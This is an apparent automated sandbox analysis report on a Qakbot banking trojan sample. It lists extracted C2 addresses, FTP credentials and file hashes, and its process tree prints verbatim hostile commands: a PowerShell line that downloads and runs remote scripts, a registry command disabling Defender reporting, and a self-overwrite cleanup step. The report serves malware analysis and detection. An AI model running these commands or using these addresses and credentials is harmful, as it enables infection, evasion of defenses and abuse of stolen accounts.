qakbot | 46dc49be65d7165e2a6009854a4f27f0088230199e61e0555cb1bd266535874a

Analysis

max time kernel
153s
max time network
74s
platform
windows10_x64
resource
win10v200722
submitted
11-08-2020 12:30

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

foo/62565a39c4a264e48e0678edad5d60fd.exe

Score

10^/10

qakbot 1535648626 banker persistence stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://www.dropbox.com/s/41zf98knyy5atko/001_01.ps1?dl=1

ps1.dropper

https://www.dropbox.com/s/dh8flnrogfq1h1w/001.ps1?dl=1

Extracted

Family

qakbot

Campaign

1535648626

Credentials

Protocol: ftp
Host:
37.60.244.211
Port:
21
Username:
[email protected]
Password:
4AsEzIaMwi2d

Protocol: ftp
Host:
198.38.77.162
Port:
21
Username:
[email protected]
Password:
kJm6DKVPfyiv

Protocol: ftp
Host:
61.221.12.26
Port:
21
Username:
[email protected]
Password:
346HZGCMlwecz9S

Protocol: ftp
Host:
67.222.137.18
Port:
21
Username:
[email protected]
Password:
p4a8k6fE1FtA3pR

Protocol: ftp
Host:
107.6.152.61
Port:
21
Username:
[email protected]
Password:
RoP4Af0RKAAQ74V

190.185.219.110:443

73.74.72.141:443

65.116.179.83:443

50.198.141.161:2078

70.183.154.153:995

68.49.120.179:443

70.94.109.57:443

24.45.54.50:2222

190.80.21.204:2222

216.201.159.118:443

74.88.210.56:995

75.189.235.216:443

47.48.236.98:2222

68.59.209.183:995

75.3.101.153:443

108.17.25.169:443

185.219.83.73:443

184.180.157.203:2222

207.178.109.161:443

174.48.72.160:443

Signatures

Qakbot/Qbot
Qbot or Qakbot is a sophisticated worm with banking capabilities.
trojan banker stealer qakbot
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

3 1280 powershell.exe
Executes dropped EXE 2 IoCs

Processes:

yefhyki.exeyefhyki.exe

pid process

604 yefhyki.exe
1888 yefhyki.exe

flow	pid	process
3	1280	powershell.exe

pid	process
604	yefhyki.exe
1888	yefhyki.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

explorer.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2168186643-810464528-1121082739-1000\Software\Microsoft\Windows\CurrentVersion\Run\xwhito = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Yefhykie\\yefhyki.exe\""	explorer.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 12 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

yefhyki.exe62565a39c4a264e48e0678edad5d60fd.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000	yefhyki.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Service	yefhyki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000	62565a39c4a264e48e0678edad5d60fd.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\DeviceDesc	62565a39c4a264e48e0678edad5d60fd.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Service	62565a39c4a264e48e0678edad5d60fd.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\DeviceDesc	yefhyki.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Service	yefhyki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000	62565a39c4a264e48e0678edad5d60fd.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\DeviceDesc	62565a39c4a264e48e0678edad5d60fd.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Service	62565a39c4a264e48e0678edad5d60fd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000	yefhyki.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\DeviceDesc	yefhyki.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

628 PING.EXE

pid	process
628	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

62565a39c4a264e48e0678edad5d60fd.exe62565a39c4a264e48e0678edad5d60fd.exeyefhyki.exepowershell.exeyefhyki.exeexplorer.exesihost.exesvchost.exetaskhostw.exeExplorer.EXERuntimeBroker.execmd.exeConhost.exePING.EXE

pid	process
856	62565a39c4a264e48e0678edad5d60fd.exe
856	62565a39c4a264e48e0678edad5d60fd.exe
1012	62565a39c4a264e48e0678edad5d60fd.exe
1012	62565a39c4a264e48e0678edad5d60fd.exe
1012	62565a39c4a264e48e0678edad5d60fd.exe
1012	62565a39c4a264e48e0678edad5d60fd.exe
604	yefhyki.exe
604	yefhyki.exe
1280	powershell.exe
1280	powershell.exe
1888	yefhyki.exe
1888	yefhyki.exe
1280	powershell.exe
1888	yefhyki.exe
1888	yefhyki.exe
3672	explorer.exe
3672	explorer.exe
2260	sihost.exe
2260	sihost.exe
3672	explorer.exe
3672	explorer.exe
2280	svchost.exe
2280	svchost.exe
2436	taskhostw.exe
2436	taskhostw.exe
2968	Explorer.EXE
2968	Explorer.EXE
3596	RuntimeBroker.exe
3596	RuntimeBroker.exe
3672	explorer.exe
3672	explorer.exe
3876	cmd.exe
3876	cmd.exe
1496	Conhost.exe
1496	Conhost.exe
628	PING.EXE
628	PING.EXE
3672	explorer.exe
3672	explorer.exe
3672	explorer.exe
3672	explorer.exe
3672	explorer.exe
3672	explorer.exe
3672	explorer.exe
3672	explorer.exe
3672	explorer.exe
3672	explorer.exe
3672	explorer.exe
3672	explorer.exe
3672	explorer.exe
3672	explorer.exe
3672	explorer.exe
3672	explorer.exe
3672	explorer.exe
3672	explorer.exe
3672	explorer.exe
3672	explorer.exe
3672	explorer.exe
3672	explorer.exe
3672	explorer.exe
3672	explorer.exe
3672	explorer.exe
3672	explorer.exe
3672	explorer.exe

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

yefhyki.exe

pid process

604 yefhyki.exe

pid	process
604	yefhyki.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

Processes:

powershell.exeExplorer.EXE

description	pid	process
Token: SeDebugPrivilege	1280	powershell.exe
Token: SeShutdownPrivilege	2968	Explorer.EXE
Token: SeCreatePagefilePrivilege	2968	Explorer.EXE
Token: SeShutdownPrivilege	2968	Explorer.EXE
Token: SeCreatePagefilePrivilege	2968	Explorer.EXE
Token: SeShutdownPrivilege	2968	Explorer.EXE
Token: SeCreatePagefilePrivilege	2968	Explorer.EXE
Token: SeShutdownPrivilege	2968	Explorer.EXE
Token: SeCreatePagefilePrivilege	2968	Explorer.EXE

Suspicious use of WriteProcessMemory 53 IoCs

Processes:

62565a39c4a264e48e0678edad5d60fd.exeyefhyki.exeexplorer.execmd.exe

description	pid	process	target process
PID 856 wrote to memory of 1012	856	62565a39c4a264e48e0678edad5d60fd.exe	62565a39c4a264e48e0678edad5d60fd.exe
PID 856 wrote to memory of 1012	856	62565a39c4a264e48e0678edad5d60fd.exe	62565a39c4a264e48e0678edad5d60fd.exe
PID 856 wrote to memory of 1012	856	62565a39c4a264e48e0678edad5d60fd.exe	62565a39c4a264e48e0678edad5d60fd.exe
PID 856 wrote to memory of 604	856	62565a39c4a264e48e0678edad5d60fd.exe	yefhyki.exe
PID 856 wrote to memory of 604	856	62565a39c4a264e48e0678edad5d60fd.exe	yefhyki.exe
PID 856 wrote to memory of 604	856	62565a39c4a264e48e0678edad5d60fd.exe	yefhyki.exe
PID 856 wrote to memory of 1100	856	62565a39c4a264e48e0678edad5d60fd.exe	reg.exe
PID 856 wrote to memory of 1100	856	62565a39c4a264e48e0678edad5d60fd.exe	reg.exe
PID 856 wrote to memory of 1280	856	62565a39c4a264e48e0678edad5d60fd.exe	powershell.exe
PID 856 wrote to memory of 1280	856	62565a39c4a264e48e0678edad5d60fd.exe	powershell.exe
PID 604 wrote to memory of 1888	604	yefhyki.exe	yefhyki.exe
PID 604 wrote to memory of 1888	604	yefhyki.exe	yefhyki.exe
PID 604 wrote to memory of 1888	604	yefhyki.exe	yefhyki.exe
PID 604 wrote to memory of 3672	604	yefhyki.exe	explorer.exe
PID 604 wrote to memory of 3672	604	yefhyki.exe	explorer.exe
PID 604 wrote to memory of 3672	604	yefhyki.exe	explorer.exe
PID 604 wrote to memory of 3672	604	yefhyki.exe	explorer.exe
PID 3672 wrote to memory of 2260	3672	explorer.exe	sihost.exe
PID 3672 wrote to memory of 2260	3672	explorer.exe	sihost.exe
PID 3672 wrote to memory of 2260	3672	explorer.exe	sihost.exe
PID 3672 wrote to memory of 2280	3672	explorer.exe	svchost.exe
PID 3672 wrote to memory of 2280	3672	explorer.exe	svchost.exe
PID 3672 wrote to memory of 2280	3672	explorer.exe	svchost.exe
PID 3672 wrote to memory of 2436	3672	explorer.exe	taskhostw.exe
PID 3672 wrote to memory of 2436	3672	explorer.exe	taskhostw.exe
PID 3672 wrote to memory of 2436	3672	explorer.exe	taskhostw.exe
PID 3672 wrote to memory of 2968	3672	explorer.exe	Explorer.EXE
PID 3672 wrote to memory of 2968	3672	explorer.exe	Explorer.EXE
PID 3672 wrote to memory of 2968	3672	explorer.exe	Explorer.EXE
PID 3672 wrote to memory of 3224	3672	explorer.exe	SearchUI.exe
PID 3672 wrote to memory of 3224	3672	explorer.exe	SearchUI.exe
PID 3672 wrote to memory of 3224	3672	explorer.exe	SearchUI.exe
PID 3672 wrote to memory of 3596	3672	explorer.exe	RuntimeBroker.exe
PID 3672 wrote to memory of 3596	3672	explorer.exe	RuntimeBroker.exe
PID 3672 wrote to memory of 3596	3672	explorer.exe	RuntimeBroker.exe
PID 3672 wrote to memory of 3804	3672	explorer.exe	DllHost.exe
PID 3672 wrote to memory of 3804	3672	explorer.exe	DllHost.exe
PID 3672 wrote to memory of 3804	3672	explorer.exe	DllHost.exe
PID 856 wrote to memory of 3876	856	62565a39c4a264e48e0678edad5d60fd.exe	cmd.exe
PID 856 wrote to memory of 3876	856	62565a39c4a264e48e0678edad5d60fd.exe	cmd.exe
PID 856 wrote to memory of 3876	856	62565a39c4a264e48e0678edad5d60fd.exe	cmd.exe
PID 3876 wrote to memory of 628	3876	cmd.exe	PING.EXE
PID 3876 wrote to memory of 628	3876	cmd.exe	PING.EXE
PID 3876 wrote to memory of 628	3876	cmd.exe	PING.EXE
PID 3672 wrote to memory of 3876	3672	explorer.exe	cmd.exe
PID 3672 wrote to memory of 3876	3672	explorer.exe	cmd.exe
PID 3672 wrote to memory of 3876	3672	explorer.exe	cmd.exe
PID 3672 wrote to memory of 1496	3672	explorer.exe	Conhost.exe
PID 3672 wrote to memory of 1496	3672	explorer.exe	Conhost.exe
PID 3672 wrote to memory of 1496	3672	explorer.exe	Conhost.exe
PID 3672 wrote to memory of 628	3672	explorer.exe	PING.EXE
PID 3672 wrote to memory of 628	3672	explorer.exe	PING.EXE
PID 3672 wrote to memory of 628	3672	explorer.exe	PING.EXE

c:\windows\system32\sihost.exe
sihost.exe
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:2260

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:2280

c:\windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:2436

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2968
- C:\Users\Admin\AppData\Local\Temp\foo\62565a39c4a264e48e0678edad5d60fd.exe
  "C:\Users\Admin\AppData\Local\Temp\foo\62565a39c4a264e48e0678edad5d60fd.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:856
- - C:\Users\Admin\AppData\Local\Temp\foo\62565a39c4a264e48e0678edad5d60fd.exe
    "C:\Users\Admin\AppData\Local\Temp\foo\62565a39c4a264e48e0678edad5d60fd.exe" /C
    3⤵
    - Checks SCSI registry key(s)
    - Suspicious behavior: EnumeratesProcesses
    PID:1012
- - C:\Users\Admin\AppData\Roaming\Microsoft\Yefhykie\yefhyki.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Yefhykie\yefhyki.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:604
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Yefhykie\yefhyki.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Yefhykie\yefhyki.exe" /C
      4⤵
      Executes dropped EXE
      Checks SCSI registry key(s)
      Suspicious behavior: EnumeratesProcesses
      PID:1888
  - - C:\Windows\SysWOW64\explorer.exe
      C:\Windows\SysWOW64\explorer.exe
      4⤵
      Adds Run key to start application
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3672
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe ADD "HKLM\SOFTWARE\Microsoft\Microsoft AntiMalware\SpyNet" /f /t REG_DWORD /v "SpyNetReporting" /d "0"
    3⤵
    PID:1100
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://www.dropbox.com/s/41zf98knyy5atko/001_01.ps1?dl=1'); IEX (New-Object Net.WebClient).DownloadString('https://www.dropbox.com/s/dh8flnrogfq1h1w/001.ps1?dl=1'); Invoke-MainWorker -Command 'C:\Users\Admin\AppData\Local\Temp\dworresfxzjxabptoatbbqjfpcfgrc.txt'"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1280
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c ping.exe -n 6 127.0.0.1 & type "C:\Windows\System32\calc.exe" > "C:\Users\Admin\AppData\Local\Temp\foo\62565a39c4a264e48e0678edad5d60fd.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3876
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1496
  - - C:\Windows\SysWOW64\PING.EXE
      ping.exe -n 6 127.0.0.1
      4⤵
      Runs ping.exe
      Suspicious behavior: EnumeratesProcesses
      PID:628

C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
"C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe" -ServerName:CortanaUI.AppXa50dqqa5gqv4a428c9y1jjw7m3btvepj.mca
1⤵
PID:3224

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:3596

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3804

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Yefhykie\yefhyk.dat

MD5
e70679a10b52958d3623f7f4462633c8

SHA1
36a722a266349b2813f798165feb4dd17acbfb4e

SHA256
199d30e9efc106878b0c7de2a9f7ce238e057a805f7b4424e0102662a1d584c4

SHA512
fdd9f605e995f590738d8cfde919e95468db3fed834ce3bcb708e26c5b3d9f52525691837df29a498cc51f3758be10b512e7b60343be51cbc18a1da9061d1f57

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Yefhykie\yefhyki.exe

MD5
62565a39c4a264e48e0678edad5d60fd

SHA1
1dc0f3920082e9f3e789d5d1587d9c7b47d58a5e

SHA256
d9d3596268e269cb48aee92aaa47a50f785f8568f319aad812af163da28e7a40

SHA512
9b851c15b072ba5e0b316f2f02ff49fbb483fd5b4545d7c225f27ddfe8ef0fc99747a5b14bbad6b6373c1b562984c22d52d83c65970ce5ffc5209a5dc1e715cc

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Yefhykie\yefhyki.exe

MD5
62565a39c4a264e48e0678edad5d60fd

SHA1
1dc0f3920082e9f3e789d5d1587d9c7b47d58a5e

SHA256
d9d3596268e269cb48aee92aaa47a50f785f8568f319aad812af163da28e7a40

SHA512
9b851c15b072ba5e0b316f2f02ff49fbb483fd5b4545d7c225f27ddfe8ef0fc99747a5b14bbad6b6373c1b562984c22d52d83c65970ce5ffc5209a5dc1e715cc

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Yefhykie\yefhyki.exe

MD5
62565a39c4a264e48e0678edad5d60fd

SHA1
1dc0f3920082e9f3e789d5d1587d9c7b47d58a5e

SHA256
d9d3596268e269cb48aee92aaa47a50f785f8568f319aad812af163da28e7a40

SHA512
9b851c15b072ba5e0b316f2f02ff49fbb483fd5b4545d7c225f27ddfe8ef0fc99747a5b14bbad6b6373c1b562984c22d52d83c65970ce5ffc5209a5dc1e715cc

Download Submit
memory/604-2-0x0000000000000000-mapping.dmp

Download
memory/604-13-0x00000000005D0000-0x0000000000639000-memory.dmp

Filesize
420KB

Download
memory/628-19-0x0000000000000000-mapping.dmp

Download
memory/628-17-0x0000000000000000-mapping.dmp

Download
memory/1012-1-0x0000000002850000-0x0000000002851000-memory.dmp

Filesize
4KB

Download
memory/1012-0-0x0000000000000000-mapping.dmp

Download
memory/1100-5-0x0000000000000000-mapping.dmp

Download
memory/1280-9-0x000001D51C5C0000-0x000001D51C5C1000-memory.dmp

Filesize
4KB

Download
memory/1280-8-0x000001D51C410000-0x000001D51C411000-memory.dmp

Filesize
4KB

Download
memory/1280-7-0x00007FF9CFA20000-0x00007FF9D040C000-memory.dmp

Filesize
9.9MB

Download
memory/1280-6-0x0000000000000000-mapping.dmp

Download
memory/1888-10-0x0000000000000000-mapping.dmp

Download
memory/1888-12-0x0000000002880000-0x0000000002881000-memory.dmp

Filesize
4KB

Download
memory/3672-14-0x0000000000000000-mapping.dmp

Download
memory/3876-16-0x0000000000000000-mapping.dmp

Download
memory/3876-18-0x0000000000000000-mapping.dmp

Download